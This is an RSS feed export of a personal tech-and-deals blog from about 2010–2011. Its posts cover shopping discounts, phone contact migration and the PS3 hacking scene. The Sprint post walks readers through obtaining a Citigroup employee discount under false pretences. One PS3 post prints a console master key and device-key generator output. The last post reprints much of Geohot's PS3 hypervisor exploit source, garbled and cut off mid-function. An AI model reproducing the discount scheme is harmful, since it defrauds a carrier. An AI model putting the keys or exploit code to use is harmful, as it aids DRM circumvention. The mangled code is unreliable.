<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Digital Life for the Technology Voice</title>
	<atom:link href="http://dltv.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://dltv.wordpress.com</link>
	<description>Tech News For The Nerd in You</description>
	<lastBuildDate>Wed, 15 May 2013 19:23:24 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='dltv.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Digital Life for the Technology Voice</title>
		<link>http://dltv.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://dltv.wordpress.com/osd.xml" title="Digital Life for the Technology Voice" />
	<atom:link rel='hub' href='http://dltv.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Discounttiredirect.com $50 Off Black Friday 2011</title>
		<link>http://dltv.wordpress.com/2011/11/22/discounttiredirect-com-50-off-black-friday-2011/</link>
		<comments>http://dltv.wordpress.com/2011/11/22/discounttiredirect-com-50-off-black-friday-2011/#comments</comments>
		<pubDate>Tue, 22 Nov 2011 14:53:37 +0000</pubDate>
		<dc:creator>dltv</dc:creator>
				<category><![CDATA[Breaking News]]></category>

		<guid isPermaLink="false">http://dltv.wordpress.com/2011/11/22/discounttiredirect-com-50-off-black-friday-2011/</guid>
		<description><![CDATA[I have been shopping for some Continential DWS tires for about 3 months for my G8 GT. I&#8217;m glad I have held out this long. I will use Fatwallets discount to stack with Blackfridays $50.00 off to get a really &#8230; <a href="http://dltv.wordpress.com/2011/11/22/discounttiredirect-com-50-off-black-friday-2011/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dltv.wordpress.com&#038;blog=782546&#038;post=329&#038;subd=dltv&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>I have been shopping for some Continential DWS tires for about 3 months for my G8 GT.</p>
<p>I&#8217;m glad I have held out this long.</p>
<p>I will use Fatwallets discount to stack with Blackfridays $50.00 off to get a really great price on my tires.</p>
<p><a href="http://www.discounttiredirect.com/blackFriday.html">http://www.discounttiredirect.com/blackFriday.html</a></p>
<p>I posted on Slickdeals so rep if you like my find <a href="http://slickdeals.net/forums/showthread.php?t=3594702">http://slickdeals.net/forums/showthread.php?t=3594702</a></p>
<p>I haven&#8217;t seen anyone else find this link this year!</p>
<p>Mark your calendars, Black Friday 2011 is coming soon! From Thursday, November 24th through Monday, November 28th, 2011 we&#8217;re offering a web-only deal that will save you money.</p>
<p>$50 Off a set of 4 tires or 4 wheels<br />
$25 Off a set of 2 tires or 2 wheels<br />
$100 Off a 4 tire and 4 wheel package</p>
<p>• Purchase online and see the savings in your cart instantly.</p>
<p>• Have your tires and wheels shipped directly to your door.</p>
<p>• This offer can be combined with other promotional offers.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/dltv.wordpress.com/329/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/dltv.wordpress.com/329/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dltv.wordpress.com&#038;blog=782546&#038;post=329&#038;subd=dltv&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://dltv.wordpress.com/2011/11/22/discounttiredirect-com-50-off-black-friday-2011/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/326d402abb356f599f0529ca5b71e6eb?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dltv</media:title>
		</media:content>
	</item>
		<item>
		<title>Apple iPad 2 purchase</title>
		<link>http://dltv.wordpress.com/2011/11/13/apple-ipad-2-purchase/</link>
		<comments>http://dltv.wordpress.com/2011/11/13/apple-ipad-2-purchase/#comments</comments>
		<pubDate>Sun, 13 Nov 2011 15:58:36 +0000</pubDate>
		<dc:creator>dltv</dc:creator>
				<category><![CDATA[Breaking News]]></category>

		<guid isPermaLink="false">http://dltv.wordpress.com/2011/11/13/apple-ipad-2-purchase/</guid>
		<description><![CDATA[I finally decided to get an Apple iPad 2. I have been looking for the right time to buy for over 60 days and recently I pulled the trigger. Since I am all about getting great deals I figured I &#8230; <a href="http://dltv.wordpress.com/2011/11/13/apple-ipad-2-purchase/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dltv.wordpress.com&#038;blog=782546&#038;post=317&#038;subd=dltv&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>I finally decided to get an Apple iPad 2. I have been looking for the right time to buy for over 60 days and recently I pulled the trigger. Since I am all about getting great deals I figured I would share my final price with the world. Knowing that apple does not discount its products especially the iPad 2 I had my work cutout for me. I researched Black Friday to gauge Apples likelihood of a sale. Thanks to slickdeals.com I found a post for the iPad 2 w/ an instant discount. Now I took some special circumstances to make this all happen. YMMV.</p>
<p>The breakdown goes like this:<br />
$ 599.00 Apple.com doesn&#8217;t include the tax portion.</p>
<p>$ 611.00 Ipad 2 32 gig cost from Buy.com includes shipping<br />
$ (36.01) Instant discount from Buy.com<br />
$ 574.99 Total &#8211; Already below apple.com pricing<br />
$ (30.55) 5% Discover cashback confirmed<br />
$ 544.44 Total<br />
$ 0.00 Tax no tax charged * sweet!<br />
$ (57.50) Rakuten Super Points (5,750 or 100 pts = $1.00) 10X bonus when I purchased redeemable Nov 22nd<br />
$ 486.94 Total<br />
$(300.00) Chase promo signed up for chase freedom card<br />
$186.94 Total<br />
$(125.00) Citicard cashback. Cashback sitting there waiting to be spent<br />
$61.94 Grand Total what i paid out of pocket</p>
<p>&nbsp;</p>
<p>Chase 300.00 freedom CC offer that I used</p>
<p><a href="http://slickdeals.net/forums/showthread.php?t=3459776">http://slickdeals.net/forums/showthread.php?t=3459776</a></p>
<p>&nbsp;</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/dltv.wordpress.com/317/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/dltv.wordpress.com/317/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dltv.wordpress.com&#038;blog=782546&#038;post=317&#038;subd=dltv&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://dltv.wordpress.com/2011/11/13/apple-ipad-2-purchase/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/326d402abb356f599f0529ca5b71e6eb?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dltv</media:title>
		</media:content>
	</item>
		<item>
		<title>Sprint 27% Discounts</title>
		<link>http://dltv.wordpress.com/2011/06/13/sprint-27-discounts/</link>
		<comments>http://dltv.wordpress.com/2011/06/13/sprint-27-discounts/#comments</comments>
		<pubDate>Mon, 13 Jun 2011 15:17:08 +0000</pubDate>
		<dc:creator>dltv</dc:creator>
				<category><![CDATA[Breaking News]]></category>

		<guid isPermaLink="false">http://dltv.wordpress.com/?p=291</guid>
		<description><![CDATA[Corp ID: NADAY_ZZZ = 20% off thru Target. Corp ID: NACIT_ZZZ= 27% off thru Citigroup. Sprint 27% Discount thru Citigroup Step 1 Go to http://www.mail.com and open up a NEW FREE E-Mail address for yourself. From the available addresses use &#8230; <a href="http://dltv.wordpress.com/2011/06/13/sprint-27-discounts/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dltv.wordpress.com&#038;blog=782546&#038;post=291&#038;subd=dltv&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Corp ID: NADAY_ZZZ = 20% off thru Target.<br />
Corp ID: NACIT_ZZZ= 27% off thru Citigroup.<br />
Sprint 27% Discount thru Citigroup<br />
Step 1 Go to <a href="http://www.mail.com" rel="nofollow">http://www.mail.com</a> and open up a NEW FREE E-Mail address for yourself. From the available addresses use the drop down arrow to view all of them. Choose the one: @post.com and create your own beginning. Example: <a href="mailto:dltv@post.com">dltv@post.com</a></p>
<p>It is free Email. Not really sure why you need a POST.com extention email address but just go with it.</p>
<p>Step 2 Goto <a href="http://www.Sprint.com" rel="nofollow">http://www.Sprint.com</a> and click on the link &#8220;Employee Discounts&#8221;. Here you will enter the new email address that you created above. It will say you have been approved and an email will be sent you to with instructions.</p>
<p>Typical replys from Sprint are 48 hrs and will look something like the following:</p>
<p>Quote:<br />
Thank you for contacting Sprint.</p>
<p>We have received your request to participate in the NVP Discount<br />
Program through Post.com. Unfortunately, we are unable to process your request to participate in the Program. The company you specified, Post.com, does not appear to be eligible for a discount through Sprint. It may be possible that your company is listed as a part of a larger company. If so, please reply to this e-mail with the name of the main or parent company your company is associated with. This will enable me to apply the discount to your account.</p>
<p>Thank you for choosing Sprint!</p>
<p>Sincerely,<br />
xxxx<br />
Sprint<br />
just replay their mail saying that post.com is part of it Citigroup, and don&#8217;t forget mention the Corp ID: NACIT_ZZZ it&#8217;s for 27% off.</p>
<p>next thing you know they replay with an email just look like this<br />
Quote:<br />
Thank you for your reply.</p>
<p>I have updated the 27% employee discount for the employee of Citigroup.<br />
So, you will begin receiving the Citigroup employee discount on the next<br />
invoice. You will get the discount of 27% on all the MRC (Monthly<br />
Recurring Charge) of the services except TEP (Total Equipment<br />
Protection).</p>
<p>Congratulations on taking advantage of your company?s discount with<br />
Sprint, we are excited to have you as a customer.</p>
<p>Thank you for emailing us. It was a pleasure assisting you and I look<br />
forward to more opportunities to serve you in future. Have a great day!</p>
<p>Sincerely,<br />
xxxx<br />
My bill just got discounted for 27%, so it does work folks!!!</p>
<p>Mention Corp ID: NACIT_ZZZ</p>
<p>Everything Data w/Any Mobile, AnytimeSM</p>
<p>Starting at<br />
$51.09<br />
After discount<br />
Reg. $69.99/month</p>
<p>Unlimited calling to any mobile in America<br />
Unlimited Web<br />
Unlimited text and picture messaging<br />
Sprint TV® and Sprint Music<br />
Sprint GPS Navigation<br />
450 Anytime Minutes</p>
<p>$10/mo. Premium Data add-on is required for smartphones. Other monthly charges apply. See below**. Includes 450 Anytime Minutes. Existing Sprint customers can switch Sprint plans without a contract extension. New lines of activation require a new two-year Agreement. Excludes international, roaming and indirect calls.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/dltv.wordpress.com/291/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/dltv.wordpress.com/291/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dltv.wordpress.com&#038;blog=782546&#038;post=291&#038;subd=dltv&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://dltv.wordpress.com/2011/06/13/sprint-27-discounts/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/326d402abb356f599f0529ca5b71e6eb?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dltv</media:title>
		</media:content>
	</item>
		<item>
		<title>X3MAX PS3 GIF &#8211; is not a fake afterall XTSE Creates PS3 Dongle ID Key Generator</title>
		<link>http://dltv.wordpress.com/2010/12/29/x3max-ps3-gif-is-not-a-fake-afterall-xtse-creates-ps3-dongle-id-key-generator/</link>
		<comments>http://dltv.wordpress.com/2010/12/29/x3max-ps3-gif-is-not-a-fake-afterall-xtse-creates-ps3-dongle-id-key-generator/#comments</comments>
		<pubDate>Wed, 29 Dec 2010 01:09:31 +0000</pubDate>
		<dc:creator>dltv</dc:creator>
				<category><![CDATA[Breaking News]]></category>

		<guid isPermaLink="false">http://dltv.wordpress.com/?p=308</guid>
		<description><![CDATA[I downloaded the compiled version of p3kgwn to see if if there was any meaning to X3 claim. You all remember that GIF image that everyone said was fake and no one could make sense of it. Well more progress &#8230; <a href="http://dltv.wordpress.com/2010/12/29/x3max-ps3-gif-is-not-a-fake-afterall-xtse-creates-ps3-dongle-id-key-generator/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dltv.wordpress.com&#038;blog=782546&#038;post=308&#038;subd=dltv&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>I downloaded the compiled version of p3kgwn to see if if there was any meaning to X3 claim. You all remember that GIF image that everyone said was fake and no one could make sense of it. Well more progress has been made to the ps3 scene and I thought I&#8217;d help validate X3max. Thanks go out to <strong>Graf_Chokolo + Xtse for either work. </strong></p>
<p><strong>Below is the image and how to use the little app. It appears to be accurate. If you keep reading you will see why this is important.</strong></p>
<p><a href="http://dltv.files.wordpress.com/2010/12/secret.gif"><img class="alignnone size-full wp-image-309" title="Secret" src="http://dltv.files.wordpress.com/2010/12/secret.gif?w=500" alt="X3 image deciphered"   /></a><br />
&#8212;&#8212;&#8212;&#8212;&#8211;&gt; IMAGE WAS TAKEN FROM X3MAX.COM</p>
<p>Originally Posted by Estx<br />
Well, the master key is out and about now so here’s a convenient little application to generate your dongle id keys.</p>
<p>Straight forward to use.</p>
<p>p3kg – Xtse WINDOWS 2.0 Net Version</p>
<p>Code:<br />
p3kgwn.exe 0xAAAB</p>
<p>Replacing 0xAAAB with whatever device ID you like. <a href="http://www.mediafire.com/?oi8yaop8njrmi2n">http://www.mediafire.com/?oi8yaop8njrmi2n</a><br />
- download link for now</p>
<p>AFTER I TESTED THE APP IT TURNS OUT TO GIVE THE SAME RESULTS AS X3 CLAIMED.</p>
<p>C:\Users\Jeff\Desktop&gt;p3kgwn 0x3BAD<br />
p3kg (Windows .NET) &#8211; Xtse</p>
<p>Master Key<br />
46 DC EA D3 17 FE 45 D8 09 23 EB 97 E4 95 64 10 D4 CD B2 C2</p>
<p>Device ID<br />
3B AD</p>
<p>Device Key<br />
2A 41 C2 93 F8 15 D8 91 65 6D C3 74 6D 0E 33 EC 7B 39 5B 92</p>
<p>Convientient JAVASCRIPT VERSION has been made <a href="http://www.teknoconsolas.es/usbdongle/usbdongle.html">http://www.teknoconsolas.es/usbdongle/usbdongle.html</a></p>
<p><a href="http://dltv.files.wordpress.com/2010/12/teknoconsolas-es.gif"><img class="alignnone size-full wp-image-310" title="teknoconsolas.es" src="http://dltv.files.wordpress.com/2010/12/teknoconsolas-es.gif?w=500&#038;h=580" alt="" width="500" height="580" /></a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/dltv.wordpress.com/308/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/dltv.wordpress.com/308/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dltv.wordpress.com&#038;blog=782546&#038;post=308&#038;subd=dltv&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://dltv.wordpress.com/2010/12/29/x3max-ps3-gif-is-not-a-fake-afterall-xtse-creates-ps3-dongle-id-key-generator/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/326d402abb356f599f0529ca5b71e6eb?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dltv</media:title>
		</media:content>

		<media:content url="http://dltv.files.wordpress.com/2010/12/secret.gif" medium="image">
			<media:title type="html">Secret</media:title>
		</media:content>

		<media:content url="http://dltv.files.wordpress.com/2010/12/teknoconsolas-es.gif" medium="image">
			<media:title type="html">teknoconsolas.es</media:title>
		</media:content>
	</item>
		<item>
		<title>Exporting Contacts from Palm Pre to HTC EVO</title>
		<link>http://dltv.wordpress.com/2010/11/23/exporting-contacts-from-palm-pre-to-htc-evo/</link>
		<comments>http://dltv.wordpress.com/2010/11/23/exporting-contacts-from-palm-pre-to-htc-evo/#comments</comments>
		<pubDate>Tue, 23 Nov 2010 03:15:29 +0000</pubDate>
		<dc:creator>dltv</dc:creator>
				<category><![CDATA[Breaking News]]></category>

		<guid isPermaLink="false">http://dltv.wordpress.com/?p=305</guid>
		<description><![CDATA[I just gave up on the Palm Pre. I got the HTV EVO for under 100 bucks after the tradein of my palm pre and walmart 100 gift card. Keep in mind I missed the 99 dollar deal from Amazon.com &#8230; <a href="http://dltv.wordpress.com/2010/11/23/exporting-contacts-from-palm-pre-to-htc-evo/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dltv.wordpress.com&#038;blog=782546&#038;post=305&#038;subd=dltv&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>I just gave up on the Palm Pre. I got the HTV EVO for under 100 bucks after the tradein of my palm pre and walmart 100 gift card.<br />
Keep in mind I missed the 99 dollar deal from Amazon.com for the HTC EVO.<br />
My first goal to prep the transition is to get my contacts fully exported and imported.<br />
I found this post and well so far so good.</p>
<p>This is how to get you contacts from your Sprint Palm PRE.  You can create a .vcf file to import into most email programs.<br />
•   Open phone dialer on PRE or Pixi<br />
•   Type ##66623#<br />
•   Click on Export<br />
•   This creates the export file (.vcf)….The more contacts you have the longer it takes<br />
•   Connect your USB cable to the computer and also to the PRE when it prompts you too.<br />
•   Click on the USB Drive on your pre to mount to computer<br />
•   Once mounted on your computer, open windows explorer and the Palm PRE<br />
•   Find the folder called temp and open it (if you don&#8217;t find a temp folder, open folder options/view/and choose show hidden files/ then OK)<br />
•   You will find a file called PmMigration (this is the vcf file)<br />
•   Drag to your documents folder on your computer (PRE Backup folder) if you have one<br />
•   Use this file to import your contacts into Gmail, Yahoo, Hotmail or Outlook<br />
•   When you’re done Eject your Palm pre or safely remove hardware and then disconnect pre<br />
•   Your done….</p>
<p>Getting them to Gmail.<br />
Follow the instructions in the above, and create the VCF file. Save it somewhere that it can easily be found. Go to Gmail and click on contacts, then in the upper right click on import. Import your VCF file. If it works it will tell you how many contacts it imported. </p>
<p>Once I got them to Gmail, it was wasy to get them to outlook as Gmail has a direct link to transfer contacts to outlook.</p>
<p>To make this transfer use this link.</p>
<p><a href="http://office.microsoft.com/en-us/outlook-help/transfer-contacts-between-outlook-and-google-gmail-HA010222048.aspx" rel="nofollow">http://office.microsoft.com/en-us/outlook-help/transfer-contacts-between-outlook-and-google-gmail-HA010222048.aspx</a></p>
<p>Hope this works for all of you. This was the only way I was able to get it all to work, and from what I can tell all the contact info went through, including addresses, email and phone numbers.</p>
<p>&#8211;<br />
Thank you for your time,<br />
Heidi Mercer</p>
<p>&#8220;I do believe I am making an impact. I know that cancer&#8217;s worst enemy is money. It is money that will pay for research. It is money that will provide services for cancer patients. It is money that will eventually find a cure and end the suffering. What I like about Relay is that we raise thousands of dollars, one dollar at a time. If you have a dollar you can fight cancer. There&#8217;s nothing greater than that.&#8221; M.Starr</p>
<p>&#8220;When you think about it, what other choice is there but to hope? We have two options, medically and emotionally: give up, or Fight Like Hell.&#8221;<br />
Lance Armstrong </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/dltv.wordpress.com/305/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/dltv.wordpress.com/305/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dltv.wordpress.com&#038;blog=782546&#038;post=305&#038;subd=dltv&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://dltv.wordpress.com/2010/11/23/exporting-contacts-from-palm-pre-to-htc-evo/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/326d402abb356f599f0529ca5b71e6eb?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dltv</media:title>
		</media:content>
	</item>
		<item>
		<title>Geohot’s PS3 exploit released 1.26.2010 PS3 HACKED</title>
		<link>http://dltv.wordpress.com/2010/01/27/geohot%e2%80%99s-ps3-exploit-released-1-26-2010-ps3-hacked/</link>
		<comments>http://dltv.wordpress.com/2010/01/27/geohot%e2%80%99s-ps3-exploit-released-1-26-2010-ps3-hacked/#comments</comments>
		<pubDate>Wed, 27 Jan 2010 03:34:51 +0000</pubDate>
		<dc:creator>dltv</dc:creator>
				<category><![CDATA[Breaking News]]></category>

		<guid isPermaLink="false">http://dltv.wordpress.com/?p=293</guid>
		<description><![CDATA[Geohot’s PS3 Exploit released for download Geohot has released the exploit that will allow for the PS3 to be hacked. This is what the hacking community have been waiting for. Geohot’s PS3 exploit will have the console hacking scene raving &#8230; <a href="http://dltv.wordpress.com/2010/01/27/geohot%e2%80%99s-ps3-exploit-released-1-26-2010-ps3-hacked/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=dltv.wordpress.com&#038;blog=782546&#038;post=293&#038;subd=dltv&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p><a href="http://dltv.files.wordpress.com/2010/01/pokemehere1.jpg"><img src="http://dltv.files.wordpress.com/2010/01/pokemehere1.jpg?w=500&#038;h=666" alt="" title="pokemehere" width="500" height="666" class="alignnone size-full wp-image-300" /></a></p>
<p>Geohot’s PS3 Exploit released for download</p>
<p>Geohot has released the exploit that will allow for the PS3 to be hacked. This is what the hacking community have been waiting for. Geohot’s PS3 exploit will have the console hacking scene raving in hours. This is not for the average user only experienced hackers will be comfortable with this code.</p>
<p>[Quote]</p>
<p>“In the interest of openness, I’ve decided to release the exploit. Hopefully, this will ignite the PS3 scene, and you will organize and figure out how to use this to do practical things, like the iPhone when jailbreaks were first released. I have a life to get back to and can’t keep working on this all day and night.</p>
<p>Please document your findings on the psDevWiki. They have been a great resource so far, and with the power this exploit gives, opens tons of new stuff to document. I’d like to see the missing HV calls filled in, nice memory maps, the boot chain better documented, and progress on a 3D GPU driver. And of course, the search for a software exploit.</p>
<p>This is the coveted PS3 exploit, gives full memory access and therefore ring 0 access from OtherOS. Enjoy your hypervisor dumps. This is known to work with version 2.4.2 only, but I imagine it works on all current versions. Maybe later I’ll write up how it works  </p>
<p>Good luck!”</p>
<p>Download Geohot’s PS3 exploit</p>
<p><a href="http://geohotps3.blogspot.com/2010/01/heres-your-silver-platter.html" rel="nofollow">http://geohotps3.blogspot.com/2010/01/heres-your-silver-platter.html</a></p>
<p>Download Geohot’s ps3 exploit in zip format</p>
<p>there are 5 files contained in the zip file, two of which are just instruction’s in the form of a picture and .txt file.</p>
<p>the following are a list of files in the .zip folder</p>
<p>1.pokemehere.jpg<br />
2.run.sh<br />
3.exploit.c<br />
4.makefile<br />
5.instructions.txt</p>
<p>INSTRUCTIONS.TXT includes:<br />
!!EXPLOIT IS FOR RESEARCH PURPOSES ONLY!!</p>
<p>Usage Instructions:</p>
<p>Compile and run the kernel module.</p>
<p>When the &#8220;PRESS THE BUTTON IN THE MIDDLE OF THIS&#8221; comes on, pulse the line circled in the picture low for ~40ns.<br />
Try this multiple times, I rigged an FPGA button to send the pulse.<br />
Sometimes it kernel panics, sometimes it lv1 panics, but sometimes you get the exploit!!<br />
If the module exits, you are now exploited.</p>
<p>This adds two new HV calls,<br />
u64 lv1_peek(16)(u64 address)<br />
void lv1_poke(20)(u64 address, u64 data)<br />
which allow any access to real memory.</p>
<p>The PS3 is hacked, its your job to figure out something useful to do with it.</p>
<p><a href="http://geohotps3.blogspot.com/" rel="nofollow">http://geohotps3.blogspot.com/</a></p>
<p>exploit.c<br />
// PS3 exploit code<br />
//  c2010 geohot<br />
//  I DO NOT CONDONE PIRACY, EXPLOIT IS FOR RESEARCH USE ONLY</p>
<p>#include<br />
#include<br />
#include<br />
#include<br />
#include </p>
<p>#include<br />
#include<br />
#include<br />
#include<br />
#include<br />
#include </p>
<p>#include<br />
#include<br />
#include<br />
#include<br />
#include<br />
#include </p>
<p>#include<br />
#include<br />
#include<br />
#include </p>
<p>#include </p>
<p>void hexdump(unsigned long *d, int l) {<br />
	int i;<br />
	for(i=0;i&gt;12)&amp;0xFFFFFFFFF;<br />
}</p>
<p>#define LENGTH 0&#215;1000000<br />
#define COUNT 0&#215;40</p>
<p>volatile unsigned long cache_clear[0x100000];</p>
<p>volatile int exploit_first_stage() {<br />
  unsigned long lpar, lpar2, crap, g1, glitch=0, status, i;<br />
  printk(KERN_ERR &#8220;allocate memory: %d\n&#8221;, lv1_allocate_memory(0&#215;100000, 0&#215;14, 0, 0, &amp;lpar, &amp;crap));<br />
  printk(KERN_ERR &#8220;PRESS THE BUTTON IN THE MIDDLE OF THIS\n&#8221;);</p>
<p>  for(i=0;i&lt;0&#215;10000;i++) {<br />
    g1 = ((unsigned long*)0xD000080080000000)[i*2];<br />
    if( (g1 &amp; 1) == 0 || (g1&amp;0xFFFFFFFF00000000) == 0x0000FFFF00000000) {<br />
      // isn&#039;t valid or is previous crap<br />
      if(lv1_write_htab_entry(0,i,0x0000FFFF00000001|(i&lt;&lt;16) | ((((((i/8)^(((0x0000FFFF00000001|(i&lt;&gt;12) &amp; 0x1FFF)) &lt;&gt;23)&amp;0x1F)&lt;&lt;7) ,0&#215;196|lpar) != 0) {<br />
        printk(KERN_ERR &quot;bad HTAB write @ %X\n&quot;, i);<br />
      }<br />
      glitch++;<br />
    }<br />
  }<br />
  printk(KERN_ERR &quot;added 0x%X HTAB entries\n&quot;, glitch);</p>
<p>  volatile register unsigned long j, t1, t2, k, l;</p>
<p>//****************KERNEL CHILL TIME BEGIN****************<br />
  unsigned long irq, irq1, flags = 0, stack;<br />
  irq = __pa(get_irq_chip_data(20));<br />
  irq1 = __pa(get_irq_chip_data(16));<br />
  spinlock_t mr_lock = SPIN_LOCK_UNLOCKED;<br />
  spin_lock_irqsave(&amp;mr_lock, flags);<br />
  preempt_disable();<br />
  lock_kernel();<br />
  hard_irq_disable();<br />
  lv1_configure_irq_state_bitmap(1,0,0);<br />
  lv1_configure_irq_state_bitmap(1,1,0);<br />
//****************KERNEL CHILL TIME BEGIN****************</p>
<p>  // get craps in the icache<br />
  lv1_allocate_memory(0&#215;1000, 0xC, 0, 0, &amp;lpar2, &amp;crap);<br />
  lv1_release_memory(lpar2);</p>
<p>  for(j=0;j&lt;LENGTH;j++) {<br />
    if(j==(LENGTH/2)) {<br />
      t1 = mftb();<br />
      status = lv1_release_memory(lpar);<br />
      t2 = mftb();<br />
      memset(cache_clear, 0xAA, 0&#215;100000);<br />
    }<br />
  }</p>
<p>//****************KERNEL CHILL TIME END****************<br />
  lv1_configure_irq_state_bitmap(1,1,irq1);<br />
  lv1_configure_irq_state_bitmap(1,0,irq);<br />
  __hard_irq_enable();<br />
  unlock_kernel();<br />
  preempt_enable();<br />
  spin_unlock_irqrestore(&amp;mr_lock, flags);<br />
//****************KERNEL CHILL TIME END****************</p>
<p>  printk(KERN_ERR &quot;time was 0x%lx, 0x%x per, %d\n&quot;, t2-t1, (t2-t1)/glitch, status);</p>
<p>  t1 = 0;<br />
  t2 = 0;</p>
<p>  for(i=0;i0) {<br />
    printk(KERN_ERR &#8220;EXPLOIT ENTRY FOUND!!!!!\n&#8221;);<br />
    return 0;<br />
  }</p>
<p>  return -1;<br />
}</p>
<p>unsigned long SLB[128];</p>
<p>// 64 entries in the SLB<br />
inline int read_slb() {<br />
  unsigned long i, j;<br />
  unsigned long *entry;<br />
  for(i=0;i&lt;64;i++) {<br />
     entry = &amp;SLB[i*2];<br />
     __asm__ volatile(&quot;slbmfee 3, %0\n&quot;<br />
                      &quot;std 3, 0(%1)\n&quot;<br />
		                  &quot;slbmfev 3, %0\n&quot;<br />
                      &quot;std 3, 8(%1)\n&quot;<br />
			:<br />
			: &quot;r&quot; (i), &quot;r&quot; (entry)<br />
			: &quot;r3&quot;);<br />
  }<br />
  return 0;<br />
}</p>
<p>// move into another virtual address space</p>
<p>unsigned long HTAB_0[0x20000];<br />
unsigned long HTAB_1[0x20000];</p>
<p>volatile long hypercall_in_c() {<br />
  return 0x8FFFFFFEF;<br />
}</p>
<p>volatile long call_hypercall_tlbia(unsigned long* r4) {<br />
  unsigned long ret;<br />
  unsigned long inr4 = *r4, outr4;<br />
  asm volatile(&quot;mr 3, %2\n&quot;<br />
               &quot;li 11, 16\n&quot;<br />
               &quot;sc 1\n&quot;<br />
               &quot;mr %0, 3\n&quot;<br />
               &quot;mr %1, 4\n&quot;<br />
               : &quot;=r&quot; (ret), &quot;=r&quot; (outr4)<br />
               : &quot;r&quot; (inr4)<br />
               : &quot;r3&quot;, &quot;r4&quot;, &quot;r5&quot;, &quot;r6&quot;, &quot;r7&quot;, &quot;r8&quot;, &quot;r9&quot;, &quot;r10&quot;, &quot;r11&quot;, &quot;r12&quot;  );<br />
  *r4 = outr4;<br />
  return ret;<br />
}</p>
<p>volatile int exploit_second_stage() {<br />
  unsigned long crap, j, slb1, slb2, msr, hsprg0;<br />
  unsigned long i, g1, g2, status, raff_ptr;<br />
  unsigned long vas_id, old_vas_id;<br />
  unsigned long act_htab_size;<br />
  //2, (24&lt;&lt;56)|(16&lt;&lt;48)<br />
